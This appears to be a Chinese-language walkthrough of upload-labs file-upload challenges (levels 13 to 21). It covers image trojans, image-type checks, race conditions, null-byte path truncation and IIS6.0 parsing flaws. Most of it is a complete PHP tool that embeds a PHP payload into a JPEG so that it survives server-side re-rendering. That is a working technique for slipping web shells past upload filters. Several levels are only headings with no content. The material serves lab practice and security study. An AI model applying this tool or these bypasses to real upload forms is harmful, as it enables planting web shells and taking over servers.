Pass-13(图片马绕过) 本关开始为图片关,需要配合文件包含运行木马语句
Pass-14(getimagesize图片类型绕过) 14关也是同样的图片马关,本关使用了getimagesize()函数,该函数的作用是用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条错误信息。这个函数功能会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的。思路也跟上一关大致相同,不过这个需要构建图片马,因为该函数已经对后缀名限制是图片格式,不然该函数不会执行对应的功能。
Pass-15(php_exif模块图片类型绕过) 该函数功能是读取一个图像的第一个字节并检查其签名,如果发现了恰当的签名则返回一个对应的常量,否则返回 false。返回值和 getimagesize() 返回的数组中的索引 2 的值是一样的,但本函数快得多。
Pass-16(二次渲染) 二次渲染意为上传一张图片后,将图片重新绘制,一般用于论坛等平台设置头像等压缩图的位置。观察代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 <?php     /*     The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().     It is necessary that the size and quality of the initial image are the same as those of the processed image.     1) Upload an arbitrary image via secured files upload script     2) Save the processed image and launch:     jpg_payload.php <jpg_name.jpg>     In case of successful injection you will get a specially crafted image, which should be uploaded again.     Since the most straightforward injection method is used, the following problems can occur:     1) After the second processing the injected data may become partially corrupted.     2) The jpg_payload.php script outputs "Something's wrong".     If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.     Sergey Bobrov @Black2Fan.     See also:     https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/     */     $miniPayload = "<?=phpinfo();?>";     if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {         die('php-gd is not installed');     }     if(!isset($argv[1])) {         die('php jpg_payload.php <jpg_name.jpg>');     }     set_error_handler("custom_error_handler");     for($pad = 0; $pad < 1024; $pad++) {         $nullbytePayloadSize = $pad;         $dis = new DataInputStream($argv[1]);         $outStream = file_get_contents($argv[1]);         $extraBytes = 0;         $correctImage = TRUE;         if($dis->readShort() != 0xFFD8) {             die('Incorrect SOI marker');         }         while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {             $marker = $dis->readByte();             $size = $dis->readShort() - 2;             $dis->skip($size);             if($marker === 0xDA) {                 $startPos = $dis->seek();                 $outStreamTmp =                      substr($outStream, 0, $startPos) .                      $miniPayload .                      str_repeat("\0",$nullbytePayloadSize) .                      substr($outStream, $startPos);                 checkImage('_'.$argv[1], $outStreamTmp, TRUE);                 if($extraBytes !== 0) {                     while((!$dis->eof())) {                         if($dis->readByte() === 0xFF) {                             if($dis->readByte !== 0x00) {                                 break;                             }                         }                     }                     $stopPos = $dis->seek() - 2;                     $imageStreamSize = $stopPos - $startPos;                     $outStream =                          substr($outStream, 0, $startPos) .                          $miniPayload .                          substr(                             str_repeat("\0",$nullbytePayloadSize).                                 substr($outStream, $startPos, $imageStreamSize),                             0,                             $nullbytePayloadSize+$imageStreamSize-$extraBytes) .                                  substr($outStream, $stopPos);                 } elseif($correctImage) {                     $outStream = $outStreamTmp;                 } else {                     break;                 }                 if(checkImage('payload_'.$argv[1], $outStream)) {                     die('Success!');                 } else {                     break;                 }             }         }     }     unlink('payload_'.$argv[1]);     die('Something\'s wrong');     function checkImage($filename, $data, $unlink = FALSE) {         global $correctImage;         file_put_contents($filename, $data);         $correctImage = TRUE;         imagecreatefromjpeg($filename);         if($unlink)             unlink($filename);         return $correctImage;     }     function custom_error_handler($errno, $errstr, $errfile, $errline) {         global $extraBytes, $correctImage;         $correctImage = FALSE;         if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {             if(isset($m[1])) {                 $extraBytes = (int)$m[1];             }         }     }     class DataInputStream {         private $binData;         private $order;         private $size;         public function __construct($filename, $order = false, $fromString = false) {             $this->binData = '';             $this->order = $order;             if(!$fromString) {                 if(!file_exists($filename) || !is_file($filename))                     die('File not exists ['.$filename.']');                 $this->binData = file_get_contents($filename);             } else {                 $this->binData = $filename;             }             $this->size = strlen($this->binData);         }         public function seek() {             return ($this->size - strlen($this->binData));         }         public function skip($skip) {             $this->binData = substr($this->binData, $skip);         }         public function readByte() {             if($this->eof()) {                 die('End Of File');             }             $byte = substr($this->binData, 0, 1);             $this->binData = substr($this->binData, 1);             return ord($byte);         }         public function readShort() {             if(strlen($this->binData) < 2) {                 die('End Of File');             }             $short = substr($this->binData, 0, 2);             $this->binData = substr($this->binData, 2);             if($this->order) {                 $short = (ord($short[1]) << 8) + ord($short[0]);             } else {                 $short = (ord($short[0]) << 8) + ord($short[1]);             }             return $short;         }         public function eof() {             return !$this->binData||(strlen($this->binData) === 0);         }     } ?> 
保存为upload.php
Pass-17(条件竞争) 一般来说,在服务器中若有并发状态,上传的文件即使遇到过滤也不会被删除。利用了服务器在使用、更改该文件等操作,使得文件无法被删除从而执行恶意代码。留下shell后该文件也就完成了它的任务。
Pass-18(条件竞争二) 查看源码
Pass-19(move_uploaded_file()截断) 本函数检查并确保由 file 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 newloc 指定的文件。如果 file 不是合法的上传文件,不会出现任何操作,move_uploaded_file遇到\x00字符后会截断路径名。
Pass-20(IIS6.0解析漏洞(一)) 查看源码
Pass-21(IIS6.0解析漏洞(二)) 本关在上一关的基础上加入了MIME判断